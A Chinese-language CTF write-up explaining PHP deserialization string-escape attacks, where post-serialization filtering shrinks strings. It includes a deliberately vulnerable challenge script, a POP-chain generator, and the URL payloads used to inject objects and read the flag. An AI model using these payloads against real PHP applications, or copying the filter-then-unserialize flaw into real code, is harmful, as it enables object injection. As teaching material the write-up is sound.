[PHP serialization] 字符串逃逸
什么是字符串逃逸
当开发者把用户输入的敏感字符进行过滤/替换,最后再进行反序列化,就有可能出现字符串逃逸,也即反序列化表示的字符串长度和实际上反序列化的长度不一样,导致字符串增多/减少。如下面两种情况。
处理后字符串变短
这样会导致字符串后面的反序列化语句成为这个字符串的一部分,只要想办法让它下一个可控的字符串对象的前面被覆盖掉,然后在下一个字符串写有效的反序列化语句就行,由于从左往右反序列化,所以我们只需要
处理后字符串变长
这会导致该字符串从尾部“吐出来”字符,只需要让吐出来的字符是有效的反序列化语句即可,最后可以使用}
来终止掉反序列化,来避免后面可能存在的不可控反序列化,但是一定要满足前面的object个数,可重复覆盖,但是如果不满足个数,可能会导致反序列化异常(有时候必须要这样来绕过__wakeup,根据情况来处理即可)。
例题
安恒月赛Web(有改动)
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
if($this->c == "flag.php")
{
echo "flag{114514}";
}
// echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
分析代码
write()
"\0*\0"=>"\\0\\0\\0"
read()
"\\0\\0\\0"=>"\0*\0"
值得注意的是'0'括起来的\0
就是\0
文本而不会转义为chr(0)。
所以如果我们输入"\0*\0\\0\\0\\0"
,经过read(write())后,就会变成"\0*\0\0*\0"
,在反序列化的时候,这个\0
开始的文本就是结尾,不会再看后面的文本了。也相当于一个这个文本组合,减少了9个字符,也就属于“减少”的逃逸了。
接下来就是一个简单的pop了。
我们先生成一个
<?php
class B{
public $b;
public function __construct()
{
$this->b = new C;
}
}
class C{
public $c;
public function __construct()
{
$this->c = 'flag.php';
}
}
echo urlencode(serialize(new B));
得到O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
我们先按a=O:1:"A":2:{s:8:"username";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:7:"1212121";}
b=1212121
来走一遍他自己的read write,然后拿read的结果O:1:"A":2:{s:8:"username";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:7:"1212121";}
这个对象将会创建A类,然后账号密码分别设置,我们需要想办法让它创建B类。
我们先尝试给a添加上,然后修改一下本地的代码,让它输出
发送我们准备的payload
?a=O:1:%22B%22:1:%7Bs:1:%22b%22;O:1:%22C%22:1:%7Bs:1:%22c%22;s:8:%22flag.php%22;%7D%7D%00*%00%5C0%5C0%5C0&b=111111111111111111
我专门让b足够长,大于10,这样会让它前面的长度保持在10~99,方便我们写其他的东西。
我们看一下输出
我们试试
?a=\0\0\0&b=O:1:%22B%22:1:%7Bs:1:%22b%22;O:1:%22C%22:1:%7Bs:1:%22c%22;s:8:%22flag.php%22;%7D%7D
注意划线部分
实际长度是3,但是却认为是6,这样就是“缩短”的绕过
我们只需要让它覆盖到如下图所示的23字符,就可以在password的字面量值中修改东西了(注意看password的文本长度是10~99还是100+,这样要调整覆盖长度,这里是两位数所以是23),但是一个\0\0\0
只能制造3个空间,我们要23个,可以多制造一个,24个,覆盖掉password文本的第一个字符,但是我们这时候就需要使用24/3=8组\0\0\0
来达到目的了。
我们使用下面的payload(注意:需要url编码)
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};}
这样我们就成功拿到了flag
总结:在做字符串缩短题目的时候,如果是单个字符缩短最好,这样可以直接控制个数,如果是多个字符一次性缩短(比如说这个题,一组文本缩短3个),我们就需要适当增加缩短的个数,比如说这个题要23个,但是我们3个一组,我们就扩展到24,并且把多余的那个给占用掉,最后再把多余的给舍弃(通过}),就可以了。